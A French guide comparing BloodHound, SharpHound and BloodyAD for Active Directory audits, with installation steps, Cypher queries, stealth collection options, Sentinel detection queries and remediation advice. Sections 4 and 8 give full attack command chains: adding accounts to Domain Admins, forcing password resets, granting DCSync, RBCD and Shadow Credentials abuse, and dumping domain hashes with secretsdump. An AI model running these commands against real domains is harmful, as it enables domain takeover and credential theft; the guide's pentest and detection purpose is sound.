BloodHound vs SharpHound vs BloodyAD : Guide Comparatif 2026

1. Introduction à la reconnaissance Active Directory

L'Active Directory (AD) reste en 2026 la colonne vertébrale de l'authentification et de l'autorisation dans la grande majorité des infrastructures d'entreprise. Malgré la montée en puissance des environnements cloud et hybrides (Azure AD / Entra ID), plus de 95 % des organisations du Fortune 1000 s'appuient encore sur un domaine AD on-premise. Cette omniprésence en fait une cible privilégiée pour les attaquants — et un terrain de jeu incontournable pour les auditeurs de sécurité.

Dans cet écosystème, trois outils se distinguent par leur complémentarité et leur puissance :

• BloodHound — Le moteur d'analyse graphique qui visualise les chemins d'attaque AD grâce à une base de données orientée graphe.
• SharpHound — Le collecteur de données officiel de BloodHound, écrit en C#, qui interroge l'AD et produit des fichiers JSON/ZIP exploitables.
• BloodyAD — Un outil Python plus récent, centré sur l'exploitation LDAP et les modifications d'objets AD, qui complète les capacités de BloodHound/SharpHound.

Ce guide BloodHound vs SharpHound vs BloodyAD vous aidera à comprendre les spécificités de chaque outil, à choisir celui qui correspond le mieux à votre scénario d'audit, et à anticiper les mécanismes de détection associés. Pour une vue d'ensemble sur les tests d'intrusion AD, consultez notre guide complet du pentest Active Directory.

1.1 Pourquoi la reconnaissance AD est-elle critique ?

La majorité des attaques avancées (APT, ransomwares, mouvements latéraux) transitent par l'Active Directory. Les raisons sont multiples :

1. Centralisation des accès — AD gère les permissions de milliers d'utilisateurs et de machines. Une erreur de configuration (ACL permissive, délégation excessive) ouvre un chemin d'attaque direct vers les Domain Admins.
2. Complexité intrinsèque — Les environnements AD évoluent sur des années, accumulant des configurations héritées (legacy), des comptes de service oubliés et des trusts inter-domaines mal maîtrisés.
3. Surface d'attaque étendue — Kerberos, NTLM, LDAP, SMB, GPO, certificats AD CS… Chaque protocole et service constitue un vecteur potentiel. Voir notre article sur Kerberoasting et AS-REP Roasting pour un focus sur les attaques Kerberos.
4. Impact business — La compromission d'un domaine AD signifie le contrôle total de l'infrastructure : accès à tous les partages, les bases de données, les applications métiers et potentiellement le cloud via la synchronisation hybride.

1.2 L'évolution de l'outillage offensif AD (2016-2026)

Pour comprendre le paysage actuel, un bref historique s'impose :

Année	Événement clé	Impact
2016	Sortie de BloodHound 1.0 par @_wald0, @CptJesus, @harmj0y	Révolutionne la reconnaissance AD avec l'analyse de graphes
2017	SharpHound remplace le collecteur PowerShell (Invoke-BloodHound)	Meilleure performance et évasion des politiques PowerShell
2019	Intégration des ACL dans BloodHound 3.0	Détection des chemins d'attaque basés sur les ACL (WriteDacl, GenericAll…)
2021	BloodHound Enterprise (SpecterOps)	Version commerciale avec surveillance continue et scoring de risque
2022	Sortie de BloodyAD par CravateRouge	Outil Python pour l'exploitation LDAP AD, complément à BloodHound
2023	BloodHound Community Edition (CE) — réécriture complète	Nouvelle API, PostgreSQL + Neo4j, interface modernisée
2024	BloodHound CE v6+ avec support Azure/Entra ID amélioré	Analyse hybride on-prem + cloud
2025-2026	BloodyAD v2+ et intégration ADCS, Shadow Credentials	Exploitation avancée : certificats, RBCD, Shadow Credentials

2. BloodHound : l'analyse graphique des chemins d'attaque

BloodHound est le standard de facto pour la visualisation et l'analyse des chemins d'attaque dans les environnements Active Directory. Développé initialement par SpecterOps, il exploite la puissance des bases de données orientées graphe pour transformer des données brutes (utilisateurs, groupes, sessions, ACL) en chemins d'attaque visuels — permettant d'identifier instantanément comment un attaquant pourrait escalader ses privilèges jusqu'aux Domain Admins.

2.1 Architecture et fonctionnement

BloodHound repose sur une architecture à trois couches :

1. Collecte des données — Effectuée par un collecteur externe (SharpHound, AzureHound, ou via API). Les données sont exportées au format JSON compressé (ZIP).
2. Stockage en base de données orientée graphe — Les nœuds (utilisateurs, groupes, machines, GPO) et les arêtes (MemberOf, HasSession, AdminTo, GenericAll, WriteDacl…) sont stockés dans Neo4j (BloodHound Legacy) ou PostgreSQL + Neo4j (BloodHound CE).
3. Interface de visualisation — Une application web (React) ou une application Electron (Legacy) qui permet de requêter la base, d'afficher les graphes et de lancer des requêtes Cypher personnalisées.

2.2 BloodHound Legacy vs Community Edition (CE) vs Enterprise

En 2026, trois versions coexistent. Voici leurs différences :

Critère	BloodHound Legacy (≤ 4.x)	BloodHound CE (5.x+)	BloodHound Enterprise
Licence	Open source (GPLv3)	Open source (Apache 2.0)	Commerciale (SpecterOps)
Base de données	Neo4j uniquement	PostgreSQL + Neo4j	PostgreSQL + Neo4j (cloud)
Interface	Electron (desktop)	Web (React, API REST)	Web (SaaS ou on-prem)
API	Limitée (Cypher direct)	API REST complète, documentée	API REST + intégrations SIEM
Collecteur	SharpHound 1.x	SharpHound 2.x / AzureHound	Collecteur managé + SharpHound
Azure / Entra ID	Support basique	Support amélioré	Support complet avec scoring
Surveillance continue	Non	Non (snapshots)	Oui — collecte continue, alertes
Scoring de risque	Non	Non	Oui — Attack Path Management
Multi-tenant	Non	Non	Oui
Maintenance	Dépréciée (plus de mises à jour)	Active (SpecterOps + communauté)	Support commercial

2.3 Installation de BloodHound CE

BloodHound CE s'installe via Docker Compose. Voici la procédure en 2026 :

# Cloner le dépôt officiel
git clone https://github.com/SpecterOps/BloodHound.git
cd BloodHound

# Lancer avec Docker Compose
docker compose up -d

# Récupérer le mot de passe admin initial
docker compose logs bloodhound | grep "Initial Password"

# Accéder à l'interface web
# https://localhost:8080/ui/login

Les prérequis sont : Docker Engine 24+, Docker Compose v2+, et un minimum de 4 Go de RAM pour un usage correct (8 Go recommandés pour les grands domaines).

2.4 Requêtes Cypher avancées

La puissance de BloodHound réside dans la possibilité d'écrire des requêtes Cypher personnalisées. Voici quelques exemples essentiels pour un audit AD :

# Trouver tous les chemins vers Domain Admins depuis les utilisateurs Kerberoastable
MATCH p=shortestPath((u:User {hasspn:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'}))
RETURN p

# Lister les utilisateurs avec des droits DCSync
MATCH (u)-[:MemberOf*1..]->(g:Group)-[:GetChanges|GetChangesAll]->(d:Domain)
RETURN u.name, g.name

# Identifier les machines avec des sessions d'administrateurs de domaine
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})
RETURN c.name, u.name

# Trouver les chemins via WriteDacl / GenericAll (ACL abuse)
MATCH p=(u:User)-[:GenericAll|WriteDacl|WriteOwner|ForceChangePassword*1..]->(t)
WHERE t:User OR t:Group
RETURN p LIMIT 50

# Identifier les comptes avec délégation sans contrainte (Unconstrained Delegation)
MATCH (c:Computer {unconstraineddelegation:true})
RETURN c.name, c.operatingsystem

2.5 Nœuds et arêtes clés

BloodHound modélise l'AD avec les nœuds et arêtes suivants :

Type de nœud	Description	Exemples
User	Comptes utilisateurs	jdupont@corp.local, svc-backup@corp.local
Group	Groupes de sécurité	Domain Admins, IT-Support, GPO-Creators
Computer	Machines du domaine	DC01.corp.local, SRV-SQL01.corp.local
GPO	Group Policy Objects	Default Domain Policy, Restrict-USB
OU	Unités organisationnelles	OU=Servers, OU=Paris-Users
Domain	Domaine AD	CORP.LOCAL, CHILD.CORP.LOCAL
Container	Conteneurs AD (ADCS, etc.)	CN=Certificate Templates

Les arêtes (relations) les plus exploitées en pentest incluent :

• MemberOf — Appartenance à un groupe
• AdminTo — Droits d'administration locale sur une machine
• HasSession — Session active d'un utilisateur sur une machine
• GenericAll — Contrôle total sur un objet (très dangereux)
• WriteDacl — Possibilité de modifier les ACL d'un objet
• WriteOwner — Possibilité de changer le propriétaire d'un objet
• ForceChangePassword — Possibilité de réinitialiser le mot de passe d'un utilisateur
• DCSync (GetChanges + GetChangesAll) — Réplication des hashes du domaine
• AddMember — Possibilité d'ajouter un membre à un groupe
• AllowedToDelegate — Délégation Kerberos contrainte
• HasSIDHistory — SID History pouvant donner accès à d'autres domaines
• ADCSESC1-ESC8 — Chemins d'attaque via AD Certificate Services (BloodHound CE 5.x+)

3. SharpHound : le collecteur de données AD

SharpHound est le collecteur officiel de BloodHound. Écrit en C#, il interroge l'Active Directory via LDAP, les API Windows et les sessions SMB pour collecter les informations nécessaires à la construction du graphe d'attaque. Son code source est disponible sur GitHub (BloodHoundAD/SharpHound).

3.1 Méthodes de collecte

SharpHound propose plusieurs méthodes de collecte, activables individuellement ou en combinaison :

Méthode	Données collectées	Protocole	Bruit réseau
Default	Utilisateurs, groupes, machines, sessions, ACL, trusts	LDAP + SMB	Modéré
Group	Appartenance aux groupes uniquement	LDAP	Faible
Session	Sessions actives sur les machines	SMB (NetSessionEnum)	Élevé
LoggedOn	Sessions via le registre (nécessite admin local)	SMB (Registry)	Élevé
Trusts	Relations d'approbation inter-domaines	LDAP	Faible
ACL	Listes de contrôle d'accès (DACL) des objets	LDAP	Modéré
Container	Conteneurs et OU	LDAP	Faible
GPOLocalGroup	Groupes locaux définis par GPO	LDAP + SMB	Modéré
ObjectProps	Propriétés détaillées des objets (SPN, délégation…)	LDAP	Faible
DCOnly	Données collectables depuis le DC uniquement (pas de SMB)	LDAP	Faible
All	Toutes les méthodes combinées	LDAP + SMB	Très élevé

3.2 Options de furtivité (Stealth)

Dans un contexte où la détection est un enjeu (Red Team, audit furtif), SharpHound offre plusieurs leviers :

# Collecte furtive — DCOnly (pas de connexion SMB aux postes)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Users\Public\

# Limiter le nombre de threads pour réduire le bruit
.\SharpHound.exe -c Default --throttle 1500 --jitter 30

# Exclure les contrôleurs de domaine de l'énumération des sessions
.\SharpHound.exe -c All --excludedcs

# Collecter uniquement un OU spécifique
.\SharpHound.exe -c Default --ou "OU=Paris-Users,DC=corp,DC=local"

# Utiliser des identifiants alternatifs (pass-the-hash ou domaine de confiance)
.\SharpHound.exe -c Default -d child.corp.local --ldapusername svc-audit --ldappassword 'P@ssw0rd!'

3.3 SharpHound : version 1.x vs 2.x

Avec la sortie de BloodHound CE, SharpHound a été significativement mis à jour :

Critère	SharpHound 1.x (Legacy)	SharpHound 2.x (CE)
Compatibilité	BloodHound Legacy (≤ 4.x)	BloodHound CE (5.x+)
Format de sortie	JSON (v4 schema)	JSON (v5 schema, incompatible v4)
Upload API	Non (import manuel)	Oui — upload direct via API REST
Support ADCS	Partiel	Complet (ESC1-ESC8, templates, CAs)
Performance	Bonne	Améliorée (parallélisation LDAP)
.NET requis	.NET 4.6.2+	.NET 4.7.2+ / .NET 6+

3.4 Formats de sortie et ingestion

SharpHound produit un fichier ZIP contenant plusieurs fichiers JSON :

# Contenu typique d'une collecte SharpHound
unzip -l 20260115_BloodHound.zip

# Résultat :
#   users.json         — Comptes utilisateurs et propriétés
#   groups.json        — Groupes et appartenance
#   computers.json     — Machines et propriétés
#   sessions.json      — Sessions actives
#   domains.json       — Informations sur le domaine
#   gpos.json          — Group Policy Objects
#   ous.json           — Unités organisationnelles
#   containers.json    — Conteneurs AD
#   cas.json           — Autorités de certification (ADCS)
#   templates.json     — Modèles de certificats (ADCS)

L'ingestion dans BloodHound CE se fait via l'API REST ou l'interface web :

# Upload via API REST (BloodHound CE)
curl -X POST https://localhost:8080/api/v2/file-upload \
  -H "Authorization: Bearer $BH_TOKEN" \
  -F "file=@20260115_BloodHound.zip"

# Ou via l'interface web : Menu → Upload Data → Sélectionner le fichier ZIP

3.5 Alternatives au collecteur SharpHound

Si l'exécution de SharpHound sur la machine cible n'est pas possible (politique AppLocker, détection EDR), plusieurs alternatives existent :

• BloodHound.py — Collecteur Python (exécution à distance, pas besoin d'être sur la machine cible). Utilise LDAP et SAMR/DRSUAPI.
• Certipy — Collecteur spécialisé ADCS (certificats), compatible BloodHound CE.
• ADExplorer snapshots — L'outil Sysinternals peut exporter un snapshot AD, convertible au format BloodHound via ADExplorerSnapshot.py.
• RustHound — Collecteur écrit en Rust, cross-platform, performant.
• BOFHound — Collecteur utilisant des Beacon Object Files (BOF) pour Cobalt Strike.

4. BloodyAD : exploitation LDAP en Python

BloodyAD est un outil Python développé par CravateRouge, disponible sur GitHub. Contrairement à BloodHound qui se concentre sur la visualisation des chemins d'attaque, BloodyAD est un outil d'exploitation active : il permet de lire, modifier et abuser des objets Active Directory directement via le protocole LDAP/LDAPS.

4.1 Philosophie et positionnement

BloodyAD comble un manque important dans la chaîne d'outils offensifs AD. Là où BloodHound/SharpHound identifient les chemins d'attaque, BloodyAD permet de les exploiter :

• Approche LDAP-native — Toutes les opérations passent par LDAP/LDAPS, ce qui est légitime du point de vue réseau (port 389/636).
• Exécution hors-domaine — BloodyAD s'exécute depuis n'importe quelle machine (Linux, macOS) avec un accès réseau au DC. Pas besoin de compromettre une machine Windows.
• Exploitation des ACL — Modification de DACL, ajout de membres à des groupes, réinitialisation de mots de passe, configuration de RBCD, etc.
• Support ADCS — Exploitation des vulnérabilités de certificats (ESC1-ESC8).
• Automatisation — Scriptable en Python, intégrable dans des pipelines offensifs.

4.2 Installation et configuration

# Installation via pip
pip install bloodyAD

# Ou depuis le dépôt GitHub (dernière version)
git clone https://github.com/CravateRouge/bloodyAD.git
cd bloodyAD
pip install .

# Vérifier l'installation
bloodyAD --help

4.3 Fonctionnalités principales

BloodyAD propose un ensemble riche de modules organisés par catégorie :

4.3.1 Reconnaissance et énumération

# Lister les utilisateurs du domaine
bloodyAD -d corp.local -u jdupont -p 'P@ssw0rd' --host 10.0.0.1 get search --filter '(objectClass=user)' --attr sAMAccountName,memberOf

# Récupérer les informations d'un objet spécifique
bloodyAD -d corp.local -u jdupont -p 'P@ssw0rd' --host 10.0.0.1 get object 'CN=AdminSQL,OU=ServiceAccounts,DC=corp,DC=local' --attr '*'

# Lister les comptes avec SPN (cibles Kerberoasting)
bloodyAD -d corp.local -u jdupont -p 'P@ssw0rd' --host 10.0.0.1 get search --filter '(&(objectClass=user)(servicePrincipalName=*))' --attr sAMAccountName,servicePrincipalName

# Énumérer les trusts
bloodyAD -d corp.local -u jdupont -p 'P@ssw0rd' --host 10.0.0.1 get search --filter '(objectClass=trustedDomain)' --attr cn,trustDirection,trustType

# Lister les GPO du domaine
bloodyAD -d corp.local -u jdupont -p 'P@ssw0rd' --host 10.0.0.1 get search --filter '(objectClass=groupPolicyContainer)' --attr displayName,gPCFileSysPath

4.3.2 Exploitation des ACL

# Ajouter un utilisateur au groupe Domain Admins (si GenericAll/WriteDacl)
bloodyAD -d corp.local -u jdupont -p 'P@ssw0rd' --host 10.0.0.1 add groupMember 'Domain Admins' 'attacker'

# Réinitialiser le mot de passe d'un utilisateur (si ForceChangePassword)
bloodyAD -d corp.local -u jdupont -p 'P@ssw0rd' --host 10.0.0.1 set password 'targetuser' 'NewP@ssw0rd123!'

# Modifier le propriétaire d'un objet (si WriteOwner)
bloodyAD -d corp.local -u jdupont -p 'P@ssw0rd' --host 10.0.0.1 set owner 'CN=AdminGroup,DC=corp,DC=local' 'attacker'

# Ajouter des droits DCSync à un utilisateur (WriteDacl sur le domaine)
bloodyAD -d corp.local -u jdupont -p 'P@ssw0rd' --host 10.0.0.1 add dcsync 'attacker'

# Configurer RBCD (Resource-Based Constrained Delegation)
bloodyAD -d corp.local -u jdupont -p 'P@ssw0rd' --host 10.0.0.1 set rbcd 'targetserver$' 'attackercomputer$'

4.3.3 Shadow Credentials et certificats

# Ajouter des Shadow Credentials (si WriteProperty sur msDS-KeyCredentialLink)
bloodyAD -d corp.local -u jdupont -p 'P@ssw0rd' --host 10.0.0.1 add shadowCredentials 'targetuser'

# Supprimer les Shadow Credentials
bloodyAD -d corp.local -u jdupont -p 'P@ssw0rd' --host 10.0.0.1 remove shadowCredentials 'targetuser'

4.4 Authentification avancée

BloodyAD supporte plusieurs mécanismes d'authentification, ce qui le rend très flexible :

# Authentification par mot de passe
bloodyAD -d corp.local -u jdupont -p 'P@ssw0rd' --host 10.0.0.1 get object 'DC=corp,DC=local'

# Authentification par hash NTLM (Pass-the-Hash)
bloodyAD -d corp.local -u jdupont -p ':aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c' --host 10.0.0.1 get object 'DC=corp,DC=local'

# Authentification par ticket Kerberos (ccache)
export KRB5CCNAME=/path/to/ticket.ccache
bloodyAD -d corp.local -u jdupont -k --host dc01.corp.local get object 'DC=corp,DC=local'

# Connexion LDAPS (chiffrée)
bloodyAD -d corp.local -u jdupont -p 'P@ssw0rd' --host 10.0.0.1 -s get object 'DC=corp,DC=local'

4.5 BloodyAD vs autres outils d'exploitation LDAP

Outil	Langage	Focus principal	Avantage distinctif
BloodyAD	Python	Exploitation LDAP complète	Interface unifiée, support ADCS et Shadow Credentials
PowerView	PowerShell	Énumération AD	Intégration PowerShell, très documenté
ldapdomaindump	Python	Export HTML/JSON de l'AD	Rapports lisibles, simple d'utilisation
Impacket	Python	Protocoles Windows (SMB, Kerberos, LDAP…)	Suite complète, très polyvalent
pywerview	Python	Port Python de PowerView	Utilisable depuis Linux
ADExploitKit	Python	Exploitation automatisée AD	Automatisation des chemins d'attaque

5. Tableau comparatif détaillé : BloodHound vs SharpHound vs BloodyAD

Voici le tableau comparatif complet des trois outils, organisé par critère technique et opérationnel :

Critère	BloodHound (CE)	SharpHound	BloodyAD
Type d'outil	Analyse graphique / visualisation	Collecteur de données	Exploitation LDAP / modification AD
Langage	Go (API), React (UI)	C# (.NET)	Python 3
Plateforme d'exécution	Docker (Linux/Windows)	Windows (machine jointe au domaine)	Linux, macOS, Windows
Licence	Apache 2.0	GPLv3	MIT
Rôle principal	Visualiser les chemins d'attaque	Collecter les données AD	Exploiter les faiblesses AD via LDAP
Base de données	Neo4j + PostgreSQL	N/A (produit des fichiers JSON)	N/A (opérations directes sur l'AD)
Protocoles utilisés	N/A (traite des données importées)	LDAP, SMB, Kerberos	LDAP/LDAPS, Kerberos
Nécessite un accès Windows	Non (Docker)	Oui (exécution sur machine Windows)	Non (exécution depuis Linux)
Furtivité	N/A (outil d'analyse)	Moyenne à élevée (mode DCOnly)	Élevée (trafic LDAP légitime)
Détection EDR	N/A	Élevée (signatures connues)	Faible (Python, exécution hors domaine)
Support Azure / Entra ID	Oui (AzureHound)	Non (AD on-prem uniquement)	Non (AD on-prem uniquement)
Support ADCS	Oui (ESC1-ESC8)	Oui (collecte des templates et CAs)	Partiel (exploitation de certains ESC)
Modification d'objets AD	Non (lecture seule)	Non (lecture seule)	Oui (lecture + écriture)
Requêtes personnalisées	Oui (Cypher)	Non	Oui (filtres LDAP)
API REST	Oui (complète)	Non	Non (CLI)
Intégration CI/CD	Possible via API	Scriptable	Scriptable (Python)
Communauté	Très large (SpecterOps + communauté)	Intégrée à BloodHound	Croissante (CravateRouge + contributeurs)
Courbe d'apprentissage	Moyenne (Cypher, concepts graphes)	Faible (CLI simple)	Moyenne (connaissance LDAP/AD requise)
Dernière version majeure (2026)	CE v6.x	2.x	v2.x

5.1 Matrice des cas d'usage

Scénario	BloodHound	SharpHound	BloodyAD
Cartographier les chemins vers Domain Admin	✅ Idéal	✅ Collecte nécessaire	❌ Non adapté
Identifier les ACL dangereuses	✅ Visualisation graphique	✅ Collecte des ACL	✅ Exploitation directe
Exploiter WriteDacl / GenericAll	❌ Lecture seule	❌ Lecture seule	✅ Exploitation directe
Ajouter un membre à un groupe	❌	❌	✅ add groupMember
Configurer RBCD	❌	❌	✅ set rbcd
Shadow Credentials	❌	❌	✅ add shadowCredentials
Audit récurrent automatisé	✅ Via API	✅ Tâche planifiée	✅ Script Python
Rapport pour le management	✅ Graphes visuels	❌	❌
Analyse hybride AD + Azure	✅ AzureHound	❌	❌
Red Team furtive (depuis Linux)	✅ Analyse offline	⚠️ BloodHound.py en alternative	✅ Exécution depuis Linux

6. Quand utiliser chaque outil

6.1 Pentest Active Directory classique

Lors d'un test d'intrusion AD classique, le workflow typique est :

1. Compromission initiale — Phishing, exploitation de service, credentials stuffing → obtention d'un compte de domaine basique.
2. Collecte SharpHound — Exécution de SharpHound en mode Default ou All pour cartographier l'AD.
3. Analyse BloodHound — Import des données, identification des chemins d'attaque les plus courts vers les Domain Admins.
4. Exploitation BloodyAD — Exploitation des ACL identifiées : WriteDacl, GenericAll, ForceChangePassword, RBCD, Shadow Credentials.
5. Mouvement latéral et escalade — Utilisation de Kerberoasting, Pass-the-Hash, DCSync pour atteindre les objectifs.
6. Rapport — Utilisation des graphes BloodHound pour illustrer les chemins d'attaque dans le rapport de pentest.

6.2 Red Team furtive

En contexte Red Team, la discrétion est primordiale :

• Éviter SharpHound sur la cible — Utiliser BloodHound.py depuis une machine d'attaque Linux, ou BOFHound via Cobalt Strike.
• Collecte ciblée — Ne pas collecter All ; se limiter à DCOnly ou Group pour réduire les logs.
• BloodyAD depuis un pivot — Exécuter BloodyAD depuis un tunnel SOCKS via un C2, en utilisant l'authentification Kerberos pour éviter de transmettre des mots de passe en clair.
• Analyse offline — Exfiltrer les données et analyser dans BloodHound sur une machine hors réseau cible.

6.3 Audit de conformité et gouvernance AD

Pour un audit orienté conformité (ISO 27001, ANSSI, NIS2) :

• BloodHound CE ou Enterprise — Identifie les chemins d'attaque critiques et quantifie le risque. BloodHound Enterprise offre un scoring de risque continu.
• SharpHound en mode complet — Collecte exhaustive avec l'accord du client, exécutée depuis un compte de service dédié.
• BloodyAD pour la validation — Vérification pratique que les ACL identifiées comme dangereuses sont bien exploitables (preuve de concept).

6.4 Purple Team

Les exercices Purple Team tirent le meilleur parti de la combinaison des trois outils :

• Red Team — Utilise SharpHound + BloodHound pour identifier les chemins, puis BloodyAD pour les exploiter.
• Blue Team — Analyse les logs générés par SharpHound (événements LDAP, SMB) et BloodyAD (modifications LDAP) pour valider les capacités de détection.
• Itération — Les deux équipes collaborent pour remédier aux chemins d'attaque identifiés et vérifier l'efficacité des remédiations.

7. Détection et défense : la perspective Blue Team

Comprendre comment détecter ces outils est aussi important que savoir les utiliser. Voici les indicateurs de compromission (IoC) et les stratégies de détection pour chaque outil.

7.1 Détecter SharpHound

Indicateur	Source de log	Détection
Requêtes LDAP massives (énumération de tous les objets)	Event ID 1644 (LDAP Debug)	Volume anormal de requêtes LDAP depuis un poste client
Appels NetSessionEnum sur de multiples machines	Event ID 4624 + 5145 (SMB)	Scan de sessions sur un grand nombre de machines en peu de temps
Binaire SharpHound détecté par l'EDR	EDR / AMSI	Signatures connues (hash, strings, comportement)
Connexions SAMR/LSARPC inhabituelles	Event ID 5145	Accès aux pipes nommés \samr, \lsarpc depuis un poste client inhabituel
Accès à CN=Configuration et CN=Schema	Event ID 4662	Lecture inhabituelle des partitions de configuration AD

# Requête KQL (Microsoft Sentinel) pour détecter SharpHound
SecurityEvent
| where EventID == 4662
| where ObjectType contains "domainDNS" or ObjectType contains "groupPolicyContainer"
| where SubjectUserName !in ("SYSTEM", "svc-monitoring")
| summarize count() by SubjectUserName, Computer, bin(TimeGenerated, 5m)
| where count_ > 100
| project TimeGenerated, SubjectUserName, Computer, count_

7.2 Détecter BloodyAD

Indicateur	Source de log	Détection
Modification d'ACL (WriteDacl)	Event ID 5136 (Directory Service Changes)	Changement de DACL sur des objets sensibles (Domain, AdminSDHolder)
Ajout de membre à un groupe privilégié	Event ID 4728, 4732, 4756	Ajout inattendu aux groupes Domain Admins, Enterprise Admins
Réinitialisation de mot de passe	Event ID 4724	Reset de mot de passe par un compte non autorisé
Modification de msDS-KeyCredentialLink (Shadow Credentials)	Event ID 5136	Écriture sur l'attribut msDS-KeyCredentialLink
Modification de msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD)	Event ID 5136	Modification RBCD sur un compte machine
Connexion LDAP depuis une IP Linux	Event ID 4624 (Logon Type 3)	Authentification LDAP depuis une IP hors du parc Windows

# Détection des modifications Shadow Credentials (Event 5136)
SecurityEvent
| where EventID == 5136
| where AttributeLDAPDisplayName == "msDS-KeyCredentialLink"
| project TimeGenerated, SubjectUserName, ObjectDN, AttributeValue
| sort by TimeGenerated desc

# Détection des modifications RBCD
SecurityEvent
| where EventID == 5136
| where AttributeLDAPDisplayName == "msDS-AllowedToActOnBehalfOfOtherIdentity"
| project TimeGenerated, SubjectUserName, ObjectDN

7.3 Détecter l'utilisation de BloodHound (indirectement)

BloodHound lui-même ne génère pas de trafic réseau (il analyse des données importées). La détection se concentre donc sur :

• Détection du collecteur — Voir section SharpHound ci-dessus.
• Détection des actions post-BloodHound — Les requêtes Cypher identifient des chemins ; l'exploitation génère des logs (modification ACL, mouvement latéral).
• Détection des uploads API — Si un attaquant utilise l'API BloodHound CE sur le réseau cible, le trafic HTTP vers le port 8080 peut être détecté.

7.4 Stratégies de remédiation

Les défenses les plus efficaces contre les attaques identifiées par ces outils :

1. Réduire les chemins d'attaque — Utiliser BloodHound régulièrement pour identifier et supprimer les ACL excessives, les délégations inutiles et les groupes imbriqués dangereusement.
2. Appliquer le principe du moindre privilège — Limiter les comptes avec des droits GenericAll, WriteDacl, DCSync. Utiliser les AdminTier models (Tier 0/1/2).
3. Activer l'audit avancé — Activer les Event ID 5136, 4662, 4728, 4732, 4756, 1644 sur les contrôleurs de domaine.
4. Surveiller les modifications sensibles — Alerter sur toute modification de AdminSDHolder, des groupes Tier 0, de msDS-KeyCredentialLink, de msDS-AllowedToActOnBehalfOfOtherIdentity.
5. Segmenter le réseau — Empêcher les machines non autorisées d'accéder directement aux contrôleurs de domaine via LDAP.
6. Durcir Kerberos — Désactiver la pré-authentification uniquement si nécessaire, utiliser des mots de passe robustes pour les comptes de service avec SPN, activer la protection contre Kerberoasting (AES, gMSA).

8. Exemples pratiques avec commandes

Cette section présente des scénarios complets d'utilisation combinée des trois outils dans un contexte d'audit AD.

8.1 Scénario 1 : De la reconnaissance à Domain Admin

Contexte : Vous avez compromis un compte utilisateur standard (jdupont) via phishing. Objectif : atteindre les Domain Admins.

Étape 1 — Collecte avec SharpHound

# Depuis la machine Windows compromise
# Collecte complète (si le bruit n'est pas un problème)
.\SharpHound.exe -c All --zipfilename audit_corp.zip --outputdirectory C:\Users\jdupont\Documents\

# Ou collecte furtive (DCOnly + sessions ciblées)
.\SharpHound.exe -c DCOnly --zipfilename audit_corp_dc.zip
.\SharpHound.exe -c Session --computerfile servers.txt --zipfilename audit_corp_sessions.zip

Étape 2 — Alternative : Collecte avec BloodHound.py (depuis Linux)

# Depuis la machine d'attaque Linux
bloodhound-python -u jdupont -p 'P@ssw0rd' -d corp.local -ns 10.0.0.1 -c All --zip

# Mode furtif
bloodhound-python -u jdupont -p 'P@ssw0rd' -d corp.local -ns 10.0.0.1 -c DCOnly --zip

Étape 3 — Analyse dans BloodHound CE

# Upload des données
curl -X POST https://localhost:8080/api/v2/file-upload \
  -H "Authorization: Bearer $BH_TOKEN" \
  -F "file=@audit_corp.zip"

# Requêtes Cypher dans l'interface BloodHound CE

# 1. Chemin le plus court vers Domain Admins depuis jdupont
MATCH p=shortestPath((u:User {name:'JDUPONT@CORP.LOCAL'})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p

# 2. Tous les chemins via ACL abuse
MATCH p=shortestPath((u:User {name:'JDUPONT@CORP.LOCAL'})-[:GenericAll|WriteDacl|WriteOwner|ForceChangePassword|AddMember*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p

Résultat de l'analyse : BloodHound identifie le chemin suivant :

jdupont → WriteDacl sur IT-Support → MemberOf → Server-Admins → GenericAll sur svc-backup → MemberOf → Domain Admins

Étape 4 — Exploitation avec BloodyAD

# Étape 4a — jdupont a WriteDacl sur IT-Support : s'ajouter au groupe
bloodyAD -d corp.local -u jdupont -p 'P@ssw0rd' --host 10.0.0.1 add groupMember 'IT-Support' 'jdupont'

# Étape 4b — IT-Support est MemberOf Server-Admins (hérité) → jdupont a GenericAll sur svc-backup
# Réinitialiser le mot de passe de svc-backup
bloodyAD -d corp.local -u jdupont -p 'P@ssw0rd' --host 10.0.0.1 set password 'svc-backup' 'Hacked2026!'

# Étape 4c — svc-backup est Domain Admin → compromission du domaine
# Dump des hashes avec secretsdump (Impacket)
secretsdump.py 'corp.local/svc-backup:Hacked2026!@10.0.0.1' -just-dc-ntlm

8.2 Scénario 2 : Exploitation RBCD avec BloodyAD

Contexte : Vous avez identifié (via BloodHound) que votre utilisateur a le droit GenericWrite sur un serveur SRV-SQL01$.

# Étape 1 — Créer un compte machine (si ms-DS-MachineAccountQuota > 0)
impacket-addcomputer -computer-name 'FAKECOMP$' -computer-pass 'FakeP@ss2026' -dc-ip 10.0.0.1 'corp.local/jdupont:P@ssw0rd'

# Étape 2 — Configurer RBCD sur SRV-SQL01 avec BloodyAD
bloodyAD -d corp.local -u jdupont -p 'P@ssw0rd' --host 10.0.0.1 set rbcd 'SRV-SQL01$' 'FAKECOMP$'

# Étape 3 — Obtenir un ticket de service via S4U2Self + S4U2Proxy
impacket-getST -spn cifs/SRV-SQL01.corp.local -impersonate Administrator -dc-ip 10.0.0.1 'corp.local/FAKECOMP$:FakeP@ss2026'

# Étape 4 — Utiliser le ticket pour accéder à SRV-SQL01
export KRB5CCNAME=Administrator@cifs_SRV-SQL01.corp.local@CORP.LOCAL.ccache
impacket-smbexec -k -no-pass SRV-SQL01.corp.local

# Étape 5 — Cleanup avec BloodyAD (supprimer la configuration RBCD)
bloodyAD -d corp.local -u jdupont -p 'P@ssw0rd' --host 10.0.0.1 remove rbcd 'SRV-SQL01$' 'FAKECOMP$'

8.3 Scénario 3 : Shadow Credentials

Contexte : Vous avez identifié (via BloodHound) que votre utilisateur a WriteProperty sur l'attribut msDS-KeyCredentialLink de l'utilisateur admin-srv.

# Étape 1 — Ajouter des Shadow Credentials avec BloodyAD
bloodyAD -d corp.local -u jdupont -p 'P@ssw0rd' --host 10.0.0.1 add shadowCredentials 'admin-srv'
# Résultat : Génère un certificat PFX et son mot de passe

# Étape 2 — Demander un TGT avec le certificat (via Certipy ou PKINITtools)
